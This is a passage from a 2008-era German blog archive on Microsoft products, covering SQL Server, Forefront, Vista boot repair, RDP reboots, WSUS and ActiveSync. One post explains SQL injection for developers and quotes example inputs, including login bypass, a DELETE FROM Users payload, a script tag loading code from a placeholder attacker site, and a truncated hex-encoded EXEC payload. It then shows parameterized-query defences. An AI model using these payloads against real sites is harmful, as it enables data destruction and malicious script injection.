blog.atwork.at

news and infos about microsoft, technology, cloud and more

SQL Server 2008 Webcasts

SQL Server 2008 RC0 steht nun ja im Technet bereits zum Download zur Verfügung. Anbei eine Zusammenstellung von Webcasts, die bisher zum Thema erschienen sind, mit * gekennzeichnete sind jene, die erst erscheinen werden: TechNet Webcast: SQL Server Data Services Launch (Level 200)* TechNet Webcast: 24 Hours of SQL Server 2008: Performance Troubleshooting (Level 200) TechNet Webcast: 24 Hours of SQL Server 2008: Streamlining Data Integration (Level 200) TechNet Webcast: 24 Hours of SQL Server 2008: Reporting Services Architecture Improvements (Level 200) TechNet Webcast: Mastering Time Series Prediction with SQL Server 2008 Data Mining (Level 300) TechNet Webcast: Security Enhancements in SQL Server 2008 (Level 300) Nicht vergessen: am 26. Juni gibts ein Technet Briefing zum Thema! Beitrag von Martina Grom

Forefront: On demand Webcasts

Zur Forefront Familie stehen eine Reihe von Webcasts zur Verfügung, die teilweise bereits stattgefunden haben und deshalb on Demand abrufbar sind. In der Zusammenstellung sind jedoch auch Webcasts angeführt, welche noch stattfinden werden, diese sind mit einem * gekennzeichnet. Forefront Client Security Forefront Server Security Forefront Edge Security Forefront Stirling Sicherheit Allgemein Forefront Client Security: TechNet Webcast: Forefront Client Security Series: A Technical Overview of Forefront Client Security (Level 200) http://msevents.microsoft.com/CUI/EventDetail.aspx?EventID=1032366183&culture=en-US TechNet Webcast: Forefront Client Security Series: Deploying Forefront Client Security (Part 1 of 2) (Level 200) http://msevents.microsoft.com/CUI/EventDetail.aspx?EventID=1032366185&culture=en-US TechNet Webcast: Forefront Client Security Series: Deploying Forefront Client Security (Part 2 of 2) (Level 200) http://msevents.microsoft.com/CUI/EventDetail.aspx?EventID=1032366194&culture=en-US TechNet Webcast: Forefront Client Security Series: Deploying Forefront Client Security in Large Enterprises (Level 200) http://msevents.microsoft.com/CUI/EventDetail.aspx?EventID=1032366204&culture=en-US TechNet Webcast: Troubleshooting Forefront Client Security (Level 200) http://msevents.microsoft.com/CUI/EventDetail.aspx?EventID=1032343644&culture=en-US TechNet Webcast: How Microsoft IT Uses Forefront Client Security (Level 200) http://msevents.microsoft.com/CUI/EventDetail.aspx?EventID=1032366695&culture=en-US Forefront Server Security: TechNet Webcast: Technical Overview of Forefront Security for Exchange Server (Level 200) http://msevents.microsoft.com/CUI/EventDetail.aspx?EventID=1032348784&culture=en-US TechNet Webcast: Forefront Security for Exchange Deployment Best Practices (Level 300) * http://msevents.microsoft.com/CUI/EventDetail.aspx?EventID=1032377121&culture=en-US TechNet Webcast: Technical Overview of Forefront Security for SharePoint (Level 200) http://msevents.microsoft.com/CUI/EventDetail.aspx?EventID=1032338141&culture=en-US TechNet Webcast: Forefront Security for SharePoint Content Filtering Drill-Down (Level 300) * http://msevents.microsoft.com/CUI/EventDetail.aspx?EventID=1032377096&culture=en-US TechNet Webcast: Securing SharePoint End-to-End with Microsoft Forefront (Level 300) * http://msevents.microsoft.com/CUI/EventDetail.aspx?EventID=1032377264&culture=en-US TechNet Webcast: Managing Exchange Server and SharePoint Protection with Forefront Server Security Management Console (Level 300) * http://msevents.microsoft.com/CUI/EventDetail.aspx?EventID=1032377108&culture=en-US TechNet Webcast: A Technical Introduction to Forefront Security for Communications Server (Level 300) * http://msevents.microsoft.com/CUI/EventDetail.aspx?EventID=1032377127&culture=en-US TechNet Webcast: Technical Overview of Forefront Server Security Management Console (Level 200) http://msevents.microsoft.com/CUI/EventDetail.aspx?EventID=1032338266&culture=en-US TechNet Webcast: Take Control with Forefront Server Security Management Console (Level 200) http://msevents.microsoft.com/CUI/EventDetail.aspx?EventID=1032326211&culture=en-US TechNet Webcast: Managing Messaging and Collaboration Security with the Forefront Server Security Management Console (Level 200) http://msevents.microsoft.com/CUI/EventDetail.aspx?EventID=1032352492&culture=en-US TechNet Webcast: Maximizing the Multiple Scan Engine Advantage in Forefront Server Security Solutions (Level 300) http://msevents.microsoft.com/CUI/EventDetail.aspx?EventID=1032341210&culture=en-US TechNet Webcast: 24 Hours of Exchange Server 2007 (Part 13 of 24): Maintaining Anti-Spam Systems (Level 200) http://msevents.microsoft.com/CUI/EventDetail.aspx?EventID=1032323323&culture=en-US TechNet Webcast: 24 Hours of Exchange Server 2007 (Part 14 of 24): Maintaining Antivirus (Level 200) http://msevents.microsoft.com/CUI/EventDetail.aspx?EventID=1032323327&culture=en-US Forefront Edge Security: TechNet Webcast: ISA Server 2006 Technical Overview (Level 200) http://msevents.microsoft.com/CUI/EventDetail.aspx?EventID=1032334107&culture=en-US TechNet Webcast: ISA Server 2006 Firewall and Proxy Services (Level 200) http://msevents.microsoft.com/CUI/EventDetail.aspx?EventID=1032334394&culture=en-US TechNet Webcast: Cool and Under-Utilized ISA 2006 Scenarios (Level 300) http://msevents.microsoft.com/CUI/EventDetail.aspx?EventID=1032377117&culture=en-US TechNet Webcast: Overview of Forefront Edge Secure Access Technologies (Level 300) http://msevents.microsoft.com/CUI/EventDetail.aspx?EventID=1032338274&culture=en-US Forefront Stirling: TechNet Webcast: Forefront Code Name "Stirling" Technical Overview (Level 300) http://msevents.microsoft.com/CUI/EventDetail.aspx?EventID=1032377102&culture=en-US Sicherheit Allgemein: TechNet Webcast: Microsoft Malware Protection Center Overview (Level 200) http://msevents.microsoft.com/CUI/EventDetail.aspx?EventID=1032340082&culture=en-US Comprehensive protection for your client operating system, application servers, and the network edge http://msevents.microsoft.com/CUI/EventDetail.aspx?EventID=1032346757&culture=en-US Microsoft Webcast: Security Series (Part 5 of 8): Protecting Data from Malicious Software (Level 200) http://msevents.microsoft.com/CUI/EventDetail.aspx?EventID=1032336307&culture=en-US TechNet Webcast: How Microsoft IT Uses Network Access Protection to Manage Network Health (Level 300) http://msevents.microsoft.com/CUI/EventDetail.aspx?EventID=1032339511&culture=en-US TechNet Webcast: How Microsoft IT Defends Against Spam, Viruses, and E-Mail Attacks (Level 300) http://msevents.microsoft.com/CUI/EventDetail.aspx?EventID=1032305763&culture=en-US TechNet Webcast: Security Features in Windows Vista (Level 200) http://msevents.microsoft.com/CUI/EventDetail.aspx?EventID=1032312729&culture=en-US Ebenso wert vorbei zu schauen: Forefront Website. Auf dieser Website werden auch gratis Testversionen der Produkte angeboten. Es stehen Evaluierungskopien (was für ein schönes eingedeutschtes Wort) für Exchange, Sharepoint, Client Security, und ISA Server zur Verfügung. Alternativ kann man an einem virtual Lab teilnehmen.   Beitrag von Martina Grom

Enorme Zeitersparnis: Ein weiterer Tipp zum Information Worker Overflow

Sonntag ist, deshalb heute ein weiterer Tipp (bzw. zwei weitere Tipps) zur Reduzierung von Unterbrechungen, wie es die Information Overload Research Group gerne sieht: Reservieren Sie Zeit für die E-Mail Bearbeitung, damit können Sie schneller und effizienter antworten und unterbrechen nicht Ihre Arbeit. Reduzieren Sie Ihre cc's und "an alle antworten", senden Sie E-Mails wirklich nur an die Personen, für die es gedacht ist. Schönen, E-Mail losen Sonntag noch! Beitrag von Martina Grom

Very sexy: Office Live Workspace

Besonders für kleinere Unternehmen oder Arbeitsgruppen bzw. Teams, die dezentral arbeiten stellt sich immer wieder die Frage, ob der Aufbau einer eigenen Infrastruktur sinnvoller ist oder das Auslagern von Diensten, Software und Services und Konzentration auf das Kerngeschäft. Sehr oft stellt sich die Frage, wie man am Besten Daten mitnimmt oder austauscht - ich erinnere hier an den Artikel meines Kollegen Toni Pohl, der auf die immer häufiger Auftretende Kontrolle von Notebooks auf Flugreisen und die damit verbundene Problematik des Datenschutzes hinweist. Mit diesem Service können Sie viele (die Angabe der Zahl 1000 an dieser Stelle erschien mir nicht sinnvoll, da dieser Wert sowieso eher hypothetischer Natur ist) Office Dokumente an einem zentralen Ort ablegen, und diese über einen Webbrowser von jedem beliebigen Ort abrufen. Somit auch Dokumente, die sie vielleicht nicht jeden Zollbeamten lesen lassen wollen :-). Der Bereich ist derzeit auf 500MB beschränkt, mal sehen, wie lange. Womit ich gleich bei einem anderen Thema wäre, welches wir erst vor ein paar Tagen bei Microsoft besprochen haben: warum gibt es einen Unterschied im (europäischen) Userverhalten bei den Hemmungen, Daten online abzulegen bzw. immer wieder die Argumentation, dass ja damit die online abgelegten Daten von Microsoft gelesen werden könnten. Jeder, der eine Suchmaschine bedient, bei Onlinehändlern einkauft, E-Mails versendet, sollte sich doch schon längst im klaren darüber sein, dass er damit bereits gläsern ist. Leider habe ich bereits beim ausgezeichneten Exchange Hosted Filtering Service immer wieder von österreichischen Usern als Gegenargument gehört, dass damit ja alle E-Mails über Microsoft Rechenzentren laufen. Jeder, der um die Sicherheit von E-Mail Nachrichten weiß wird auch wissen, dass es recht irrelevant ist, über welche Wege ein E-Mail geht. Office Live Workspace ermöglicht Ihnen also, Daten online abzulegen, diese freizugeben, mit Kollegen zu teilen, zu bearbeiten, etc. Die Dateien können direkt mit Word, Excel, Powerpoint geöffnet werden, Kontakte, Aufgaben, Ereignislisten können mit Outlook synchronisiert werden, was will ein kleines Team mehr? Kompatibel sind die Office Versionen XP, 2003 und 2007. Besonders toll: die Seiten sind Barrierefrei, ein Thema, welches mir besonders am Herzen liegt, da auch dieses Thema nach wie vor sehr stiefmütterlich behandelt wird. Die FAQ's geben Antwort auf viele Fragen, z.B. zum Datenschutz und zur Sicherheit der Dokumente. Toll ist, dass die Dokumente mit Forefront vor Viren geschützt sind. Für die Registrierung ist eine Windows Live-ID nötig. Beitrag von Martina Grom

Brauchbares SQL für HOT und COLD

Sind Sie Datenbank-Administrator oder Software-Entwickler? Interessiert Sie SQL-Server Technik? Wenn ja, dann kennen Sie wahrscheinlich Anforderungen wie diese: Hatten Sie schon einmal das Problem zwei Datenbanken vergleichen zu müssen? Oder eine Datenbank zu erweitern? Und das Ganze möglichst automatisiert? Ich habe diese Anforderung ... sehr oft. Es gibt eine Applikation, einmal HOT (Echtdaten) und einmal COLD (Demodaten) - die Benutzer verwenden HOT zum Arbeiten und COLD zum Testen. Es beginnt dann besonders interessant zu werden, wenn in der Demodatenbank neue Funktionen und Erweiterungen eingebaut werden. Diese werden getestet, Anwender geben Daten ein - und wollen dann auf einmal, dass die eingegebenen Daten in das Echtsystem übernommen werden. Leider war der Split der Datenbank-Version schon vor einem Monat und die Scripts zum Erweitern der HOT-Datenbank haben ihren Weg zum Administrator nicht gefunden. Und der steht nun da und weiß nicht, welche Schema-Änderungen durchzuführen sind, damit beide Systeme die gleichen Struktur haben, damit dann die Daten übernommen werden können. Klingt zu übertrieben? Glauben Sie mir, so etwas (und ähnliche Anforderungen) passiert in der Praxis öfters - vor allem bei rasch wachsenden Systemen. Da wäre es natürlich gut, sich helfen zu können. Zunächst einmal gibt es im SQL Management Studio im Kontextmenü immer den SCRIPT-Befehl: Diese Funktion schreibt dann beispielsweise ein ALTER des Objekts in ein File zum Ausführen auf dem Zielsystem. Das ist sehr brauchbar aber eben manuell. Wie kann Scripten und Vergleichen automatisiert werden? Hier hilft T-SQL weiter. Im SQL Server 2005 wurden die (kryptischen) Abfrage-Mechanismen des Vorgängers SQL Server 2000 durch neue Views im Schema sys ersetzt. Damit ist es nun bequem möglich, Datenbank-Objekte abzufragen. Hier nun ein paar praktische Beispiele: -- Anzeige aller Objekteselect * from sys.sysobjects order by xtype, name Liefert alle Objekte aus dem Systemkatalog. xtype gibt dabei an, um welchen Objekt-Typ es sich handelt (siehe unten). -- Anzeige aller Tables in einer DB:sp_tables -- Anzeige aller Views (0..Default Microsoft Views, 1..eigene Views):SELECT * FROM sys.all_views WHERE is_ms_shipped = 1 -- Detaillierte Anzeige aller Spalten-Informationen einer Tabelle:SELECT * FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = 'produkte' -- SQL einer Stored Procedure anzeigen:sp_helptext 'spMeinProgramm' Durch ein JOIN mit Syscomments können auch die dahinterliegenden SQLs angezeigt werden! Somit funktioniert die Anzeige beispielsweise aller Views und der verwendeten SQL-Befehle so: select o.id, o.name, c.text from sysobjects o join syscomments c on o.id=c.id where xtype='V' order by id, colid /* -- xtype Werte:C = CHECK constraintD = Default or DEFAULT constraintF = FOREIGN KEY constraintL = LogFN = Scalar functionIF = Inlined table-functionP = Stored procedurePK = PRIMARY KEY constraint (type is K)RF = Replication filter stored procedure S = System tableTF = Table functionTR = TriggerU = User tableUQ = UNIQUE constraint (type is K)V = ViewX = Extended stored procedure*/ Mit diesen Werkzeugen können zum Beispiel alle Schemas oder SQLs (von Views, SPs od. Funcs) in eine Tabelle geschrieben werden. Diese könnte dann in einer Stored Procedure mit einer ebenso erzeugten Tabelle in einer anderen Datenbank vergleichen werden und die Unterschiede auswerfen. Oder die Tabelle als Textdatei exportiert werden und dann die beiden Files (z.B. mit Windows-Bordmitteln: fc.exe oder mit WinDiff - ja, das gibt es noch immer) verglichen werden. Die Vorgangsweise hängt natürlich vom erwünschten Ziel ab: Eine Automatisierung als Stored Procedure um alle unterschiedlichen Views, Stored Procedures und Functions auszuwerfen, oder per SSI, oder.... Also recht individuell. ;-) Der Knackpunkt für mich war, herauszufinden, wie man zu den SQL-Befehlen in den gespeicherten SQL-Objekten gelangt. Und das liefert eben das JOIN mit Syscomments zur weiteren Verarbeitung oder zum Parsen für komplexere Anwendungen (Ja, ich weiß: Die Schemata's können natürlich auch mit ADO.NET ausgelesen und verarbeitet werden - für einfache Anforderungen ist T-SQL jedoch gut geeignet). Achja, noch ein SQL zur Performance-Messung: Dynamic Management Views (DMV) liefern Informationen über den aktuellen Auslastungszustand des SQL Servers. Zum Beispiel ein Snapshot der aktuellen Aktivität eines SQL Servers: SELECT object_name, counter_name, instance_name, cntr_value FROM sys.dm_os_performance_counters WHERE counter_name IN ('Buffer cache hit ratio', 'User Connections', 'Transactions' , 'Average Wait Time (ms)', 'Transactions/sec', 'Errors/sec', 'Target Server Memory (KB)', 'Total Server Memory (KB)' )ORDER BY object_name, counter_name Diesen Output wieder periodisch in eine Tabelle schreiben, somit Daten über längere Zeiträume sammeln und mit Reporting Services auswerten. Und so weiter... SQL Server ist eine große Spielwiese ein DBMS mit vielfältigen Möglichkeiten! Beitrag von Toni Pohl

Neues TechNet Briefing im Juni! SQL Server 2008

Den SQL Server 2008 RC0 gibt´s bereits im msdn zum Download. Dazu passend findet noch vor der (ersehnten) Sommerpause ein TechNet Briefing mit dem Thema "SQL Server 2008 - Management, Compliance & Performance" am 26. Juni  2008 bei Microsoft Österreich in Wien statt. Die Veranstaltung ist kostenfrei und dauert von 9:00 bis 13:00 (Check-In um 8:30) mit anschließendem Buffet und Come Together. Die Zielgruppe sind IT-Pros und technisch interessierte BDMs. Hier erfahren Sie mehr über modernes Daten-Management und die neuen Möglichkeiten und Funktionen des SQL Server 2008! Melden Sie sich rasch an! Hier geht´s zum Event und zur Anmeldung! Beitrag von Martina Grom

Download von SQL Server 2008 Release Candidate 0

Ganz schnell: SQL Server 2008 kommt im Herbst auf den Markt - siehe auch SQL Server 2008 Roadmap. Im msdn gibt´s bereits SQL Server 2008 Release Candidate 0 zum Download (wie für das zweite Quartal angekündigt) - dieser ist feature-complete! Im Download mit 3.3GB sind die folgenden Multiple Editions (x86, x64, ia64) enthalten:   •    SQL Server 2008 Developer Edition RC0 •    SQL Server 2008 Enterprise Edition RC0 •    SQL Server 2008 Standard Edition RC0 •    SQL Server 2008 Web Edition RC0 •    SQL Server 2008 Workgroup Edition RC0 Die Freischaltung der Version erfolgt mit dem product key aus dem msdn. SQL Server 2008 Release Candidate 0 (RC0) kann 180 Tage lang getestet werden und läuft danach aus. Beitrag von Toni Pohl

Vista klonen und starten

Zur Neuinstallation von PCs ist es (besonders bei gleichen Maschinen) sehr bequem, einen PC als Muster aufzusetzen und diesen dann zu duplizieren. In kleineren Firmen hat man jedoch oft kein Windows Deployment Services (WDS - übrigens der Nachfolger von RIS) zur Verfügung. Ohne WDS hilft dann ein manuelles Klonen mit einer eigenen Software. Das Image wird als File oder direkt auf eine andere Festplatte, DVD, auf ein anderes Speichermedium oder auch auf einen FTP-Server geschrieben und von dort wiederhergestellt. Dazu gibt es eine Reihe von Tools, beispielsweise auf der kommerziellen Seite Acronis True Image, Symantec Ghost, R-Drive Image, als Freeware Clone Maxx, DiskImage, g4u, Clone Disk Generator und viele weitere. Unter Vista kann es allerdings nach einer Image-Wiederherstellung passieren, dass der Bootloader "bootmgr" seinen Dienst verweigert und Vista nicht starten kann - dann folgt meist eine Meldung, dass winloader.exe nicht geladen werden kann. Genau das ist mir passiert. Zunächst dachte ich, dass die Clone-Software das Image nicht korrekt geschrieben hat, erst danach kam die Erleuchtung. Und diese möchte ich natürlich hier weitergeben. ;-) Wie repariert man in diesem Fall ein nicht startfähiges Vista? Starten von WinPE (Booten von der Vista-DVD) und Reparieren von Vista - das Reparatur-Programm erkennt das Startproblem im Regelfall automatisch und behebt dieses. Oder manuell in der Command-Line: bcdedit /set {bootmgr} device partition=c:bcdedit /set {default} device partition=c:bcdedit /set {default} osdevice partition=c: Eine ausführliche Beschreibung zu bcdedit finden Sie in Boot Configuration Data Editor Frequently Asked Questions. Beim Aufruf des Tools in der Vista GUI müssen Sie die Command-Line als Administrator öffnen!Ganz brauchbar: mit bcdedit /export C:\bcdbackup erstellt man beispielsweise vor solchen Manipulationen ein Backup in das angegebene File. Es existieren auch eine Reihe von freien Tools wie Vista Boot PRO und EasyBCD, welche die Bearbeitung des Bootloaders (anstelle von bcdedit) vereinfachen - siehe auch Beitrag im Vistablog. Und bei dieser Gelegenheit sollen auch die "Legacy" Windows Versionen (XP, 2000, 2003 Server) nicht zu kurz kommen: hier besteht der Bootloader aus ntdetect.com, ntldr und boot.ini. Boot.ini besitzt eine Reihe von Schaltern, zum Beispiel für die Verwendung von mehr als 3GB RAM unter 32bit Betriebssystemen. Diese finden Sie in Boot INI Options Reference aufgelistet und erklärt. Happy starting! Beitrag von Toni Pohl

Hotfix Installationen, Remote Desktop, Reboot - und keine Verbindung mehr

Schon einmal passiert? Man spielt über Remote Desktop die neuesten Windows Updates ein, macht einen Restart und vorbei ist es mit der Remote-Verbindung zum Rechner. _Sehr ärgerlich_ Vor allem mutet dieses Verhalten wie ein Glücksspiel an: manchmal gehts, manchmal nicht. Glücklicherweise haben wir jetzt eine Erklärung und einen Workaround gefunden, damit wir dieses Verhalten vermeiden können. Im ausgezeichneten Askperf-Blog werden Ursache und Wirkung dieses Verhaltens beschrieben. Was passiert also: Man meldet sich via Remote Desktop bei einem Server an und verwendet dabei nicht den /console oder /admin Switch. Nach der Installation der Updates geht man über "Neu starten" (oder "Restart") dazu über, den Server neu zu starten. Leider startet der Server nicht wirklich neu. Wenn sich der Administrator nun neu verbinden möchte, geht es nicht. Um die Verbindung via RDP wieder zu ermöglichen, muss der Server nochmals neu gestartet werden - diesmal jedoch über die Konsole. Die häufigste Ursache für dieses Verhalten liegt darin, dass bei der Installation der Updates eine globale Variable für Terminal Services nicht gesetzt wurde. Nachdem wir uns nicht über die Konsole verbunden haben kann es passieren, dass ein Prozess das Herunterfahren abbricht (anstatt den Restart zu erzwingen). Wie können Sie dieses Verhalten unterbinden? Durch Verwendung von shutdown -r -f anstelle von Herunterfahren. Der Switch -r steht für Restart, der Switch -f für force. Damit wird also ein Restart in jedem Fall erzwungen. Achtung -f erzwingt den Restart wirklich und beendet alle Prozesse, die laufen! Durch Anmeldung via RDP mittels Verwendung von /console oder /admin. Biede Befehle tun das gleiche: sie verbinden sich in die Konsolensession des Administrators, wobei /admin der aktuellere Befehl ist (und /console in späteren Releases nicht mehr verfügbar sein wird). Beitrag von Martina Grom

Vista SP1 in WSUS 3.0 integrieren

Im WSUS Produkt-Team Blog gibt es jedoch eine recht feine Anleitung, wie man das Vista SP1 in den WSUS importieren kann. Diese Anleitung habe ich gleich bei unserem WSUS angewendet und werde Sie hier noch einmal, mit ein paar Bildern, eingedeutscht darstellen: Zuerst muss auf WSUS Servern, die unter Windows Server 2003 laufen, das WinTrustVerify update eingespielt werden. Schritt 1: Sicherstellen, dass KB 938759 (siehe oben) installiert ist. Schritt 2: In der WSUS Admin Console zum Update Services Knoten navigieren. Schritt 3: Rechts Klicken und auf "Updates importieren" gehen. Damit öffnet sich der Microsoft Update Katalog. Schritt 4: Hier nach Vista SP1 suchen. Schritt 5: mit Hinzufügen die Vista Service Packs hinzufügen - je nach Geschmack gleich die für alle Sprachen oder die etwas kleinere Variante mit Deutsch, Englisch, etc. Schritt 6: Nachdem die Service Packs gewählt wurden, auf den Warenkorb klicken. Schritt 7: Mit Importieren die Auswahl bestätigen Beitrag von Martina Grom

Totgesagte leben länger - so auch SQL-Injection

Die guten alten Zeiten - da war alles noch einfacher. Oder doch nicht? Ich habe mal an einem größeren Shop-System programmiert - das war im Jahr 2000 - und dabei gelernt, dass man einige Dinge beachten muss: Funktionalität, Usability und ... Security. Ein SQL-Server-System ist ja eine feine Sache, aber es könnte dazu benutzt werden, um "bösen" SQL-Code abzusetzen - wenn man nicht ein paar grundlegende Dinge berücksichtigt. Die Bezeichnung "SQL-Injection" bedeutet, dass Eingaben (meist durch Webformulare oder präparierte URLs) um syntaktisch korrekte SQL-Befehle erweitert werden, sodass von Außen bösartiger Code eingeschleust werden kann, der Daten ändert oder löscht. Warum ist SQL Injection jetzt (noch) ein Thema? Es gab in den letzten Wochen und Monaten einige Mitteilungen, dass Systeme mit IIS und SQL Server durch SQL Injection verwundbar seien. Diese sind schlichtweg - falsch! Es handelt sich bei diesen Attacken nicht um Schwachstellen von Windows oder IIS oder SQL Server, sondern um Fehler von Software-Lieferanten oder Entwicklern. Damit Applikationen durch SQL Injection verwundbar sind, müssen die folgenden Voraussetzungen zutreffen: Websites und Applikationen, welche Classic ASP (oder auch PHP, od. ASPX) verwenden, die SQL Server (oder ähnliche SQL-Datenbanksysteme wie Oracle, MySQL, etc.) verwenden und SQL-Befehle ungefiltert zusammensetzen und ausführen (siehe Beispiel unten). Die Verantwortung für die Softwarelösungen liegt beim Entwickler selbst!Und hier herrscht leider immer noch viel zu wenig Focus von Software-Entwicklern im Bereich Security, denn sonst wären solche Attacken gegen Webseitensysteme nicht mehr erfolgreich! Wie funktioniert SQL-Injection? Auch darüber ist schon viel berichtet worden, hier ein einfaches Beispiel zur Funktionsweise. Angenommen, es gibt auf einer Webseite eine Login-Seite: Diese verwendet die Texteingaben ungefiltert und baut daraus einen SQL-String zusammen, welcher gegen die Datenbank abgesetzt wird: SELECT * FROM Users WHERE Username = 'max' and Password = 'geheim' Das schaut soweit ja fürs Erste funktionell aus - und als Ergebnis werden alle Datensätze mit diesem Filter geliefert - im Idealfall ein Datensatz mit dem User Max, wo sein Kennwort geheim ist. Max wird dann angemeldet und ... zurück zum Start! Ein findiger, böser Mensch kann nun folgendes versuchen: in der Annahme, dass die User-Abfrage so (oder ähnlich) funktioniert, kann er nun in die Textfelder folgendes schreiben: ' or '1'='1 und dasselbe beim Passwort. Was kommt beim Zusammensetzen des SQL-Befehls in der Login-Seite raus? SELECT * FROM Users WHERE Username = '' or '1'='1' and Password = '' or '1'='1' Die Texteingaben werden in das SQL eingesetzt und liefern somit immer WAHR. Und was liefert diese Abfrage? ALLE Benutzer aus der Users-Tabelle. Das bedeutet zum Beispiel, dass (bei einer Login-Seite) der anonyme Benutzer gleich als erster User in der Tabelle angemeldet wird. Blöd. Noch blöder: Wenn der Angreifer sich nicht damit begnügt, sondern dahinter noch ein böses SQL absetzt: 1'='1';DELETE FROM Users; Ganz schlecht. Damit wird beim Ausführen der Abfrage die ganze Users-Tabelle gelöscht. Dumm gelaufen - für den Betreiber der Website. Optimierung von SQL Injection Eine weitere Variante - diese ist ganz aktuell aus einem Logfile einer Website entnommen, die mit SQL Injection bearbeitet wurde: Statt od. zusätzlich zur Bedingung wird ein Script eingesetzt, welches aufgerufen wird, wenn die Tabelle ausgelesen und in einer Website angezeigt wird: <script src="http://www.---boeseseite---.com/b.js"></script> Und hier drinnen gehts dann mit Javascript weiter... die aufrufende Seite wird zur Umleitung oder (im besten Fall) unbrauchbar. Suchen Sie mal im Web nach "banner82.com" oder "adw95.com" - dann finden Sie ziemlich viele (auch prominente) Websites, die durch die aktuellen SQL-Injection-Angriffe "ge-hackt" wurden und diese Scripts intus haben oder hatten. Hier ein Beispiel, wie so eine infizierte Seite dann aussehen kann: Hier sind viele Attacken ausgeführt worden, sodass das Script mehrfach injiziert wurde und teilweise wieder unbrauchbar wird. Noch ein Hinweis zu banner82: Diese Attacke wird nicht ganz im Klartext injiziert, sondern kommt in etwa so daher: DECLARE @S%20VARCHAR(4000);SET @S=CAST(0x4445434C415245204054205641 ..... 6F7220 AS VARCHAR(4000)); EXEC(@S) Das SQL wird in einer Variable zusammengebastelt, lädt alle Tabellen und Spaltennamen in einer Schleife und versucht, das Script überall hineinzuschreiben und wird am Schluss mit EXECute ausgeführt. Eine weitere Steigerung: Mittlerweile ist es nicht mehr so, dass ein Hacker manuell versucht, in die Datenbank einer Website zu einzudringen, sondern die Angriffe werden automatisiert. Dazu bietet sich zum Beispiel an, ein API von Google od. einer anderen Suchmaschine zu benutzen: Suche alle Sites, wo Parameter (z.B. http://www.--eineseite--/article?id=xyz) übergeben werden.Versuche, an den Parameter ein ' anzufügen.Analysiere die Response der Seite, ob der gesendete Parameter korrektes Encoding besitzt. Wenn nein, dann ist die Website "offen" und ein Kandidat für SQL-Injection-Scripts! Schutz vor SQL Injection Die Lösung: Es gibt für alle Entwickler eine einfache Regel: All input is evil! Jede Eingabe muss vom Programm gefiltert oder kontrolliert werden. Das bedeutet: Keine SQL-Befehle mehr aus Eingabefeldern zusammensetzen. Auch schon in ADO (Classic ASP) gab es Parameter-Übergabe, natürlich auch in ASP.NET. Diese verhindert, dass Texteingaben ungültige Zeichen enthalten und somit bösartige SQL-Befehle ausführen können! Aus der Demo-Abfrage von oben wird: select TOP (1) UserID from Users where username = @username and password = @password und @username und @password werden als Parameter übergeben. In ASP.NET 2.0 (VB.NET) sieht das dann beispielsweise so aus: Dim conn As SqlConnectionDim cmd As New SqlCommandconn = New SqlConnection(ConnectionStrings("conn").ConnectionString)conn.Open()cmd = New SqlCommand(SQL, conn)cmd.CommandType = CommandType.Text ' od besser: .StoredProcedurecmd.Parameters.AddWithValue("@username", Me.txtUsername.Text)cmd.Parameters.AddWithValue("@password", Me.txtPassword.Text)UserID = cmd.ExecuteScalar()conn.Close() und schon hat SQL-Injection dank der Parameter-Übergabe keine Chance mehr. Das Ganze noch in einen Try..Catch Block, mit etwas Fehlerabsicherung versehen und man hat sauberen, sicheren Code (Hardcore-Entwickler mögen mir verzeihen - ich weiß, der Code kann effizienter formuliert werden aber das Beispiel dient nur zur Demonstration). Ziel dieses Artikels ist, das Bewußtsein zu diesem (eigentlich sehr alten) Thema zu fördern, die Funktionsweise zu demonstrieren und Entwickler anzuhalten, ihre Software sicher zu programmieren, damit keine mißbräuchliche Verwendung von öffentlich zugänglichen Webseiten möglich ist. Es gibt dazu eine Fülle von Anleitungen und Hilfen. Viel mehr zu diesem Thema und weitere Hilfestellung, wie man sich davor schützen kann, finden Sie in den folgenden Links: http://blogs.technet.com/swi/archive/2008/05/29/sql-injection-attack.aspx - Microsoft´s call to action und weitere Infos: http://weblogs.asp.net/scottgu/archive/2006/09/30/Tip_2F00_Trick_3A00_-Guard-Against-SQL-Injection-Attacks.aspx - Scott Guthrie´s blog http://msdn.microsoft.com/en-us/library/ms998271.aspx - msdn: How To: Protect From SQL Injection in ASP.NET http://msdn.microsoft.com/en-us/library/bb671351.aspx - msdn: Explained - SQL Injection http://technet.microsoft.com/de-de/library/ms161953.aspx - technet: SQL Injection http://msdn.microsoft.com/en-us/library/aa224806.aspx  - Injection Protection Achja, es gibt natürlich auch zum Thema Programmieren im Internet einige weitere interessante Security-Themen: SQL Cross Site Scripting, Canonicalization Attacks (wußten Sie, wie viele Arten es gibt, eine URL anzugeben, zum Beispiel auch dezimal), Query String, Form, Cookie, HTTP Header-Manipulations und vieles mehr. Internet-Technologie ist toll, aber bietet eine Reihe von Angriffsmöglichkeiten. Bei Tauchern heißt der Abschiedsgruß "Gut Luft". Bei Entwicklern sollte es heißen "Secure coding"! ;-) Beitrag von Toni Pohl

Active Sync encountered a problem on the server. Support code: 0x86000108

Wer Active Sync kennt und nutzt, wird es nicht mehr missen wollen. Seit Exchange 2003 nutze ich diese Möglichkeit mit Begeisterung. Seit SP2 von Exchange 2003 nutze ich auch die Push-E-Mail Funktion. Zu schön ist es, bei jeder roten Ampel mal schnell zu sehen, ob es neue E-Mails gibt. Besonders reizvoll ist der Umstand, dass es in meiner unmittelbaren Umgebung mittlerweile jeder tut - extrem Kommunikativ, wenn man ständig sein Handy beobachtet, ob eine neue E-Mail gekommen ist. ;-) Aber genug der Schwärmerei, es gibt auch manchmal Tücken, die Active Sync verhindern, von einer solchen möchte ich heute berichten: Vor einiger Zeit haben wir einen Microsoft Office Sharepoint Portal Server 2007 (MOSS) in Betrieb genommen. Wir verwalten in diesem unter anderem eine ToDo List, wo jedes Team-Mitglied seine Aufgaben einträgt (oder wo diese eingetragen werden). Wie ich es nun von WSS 2.0 bereits gewohnt war, habe ich mir für diese Liste nun eine Benachrichtigung (Alert) gesetzt, damit ich eine tägliche Info per E-Mail erhalten, wenn sich etwas geändert hat. Toll sieht sie aus, diese Benachrichtigung. Ich habe sie mir so eingestellt, dass sie täglich versendet wird, also meist so gegen 19:00 Uhr. Am nächsten Morgen jedoch: kein ActiveSync. Sondern nur die knappe Fehlermeldung auf meinem Handy: Active Sync konnte nicht ausgeführt werden, Unterstützungscode: 0x86000108. Des Rätsels Lösung in diesem Fall ist (leider), dass die Benachrichtigung von SharePoint, wenn an eine Exchange 2003 Mailbox geliefert, weitere Synchronisationen verhindert. Dies gilt allerdings nur für jene Ordner, die tatsächlich synchronisiert werden. Die Ursache liegt darin, dass der Benachrichtigungstyp von 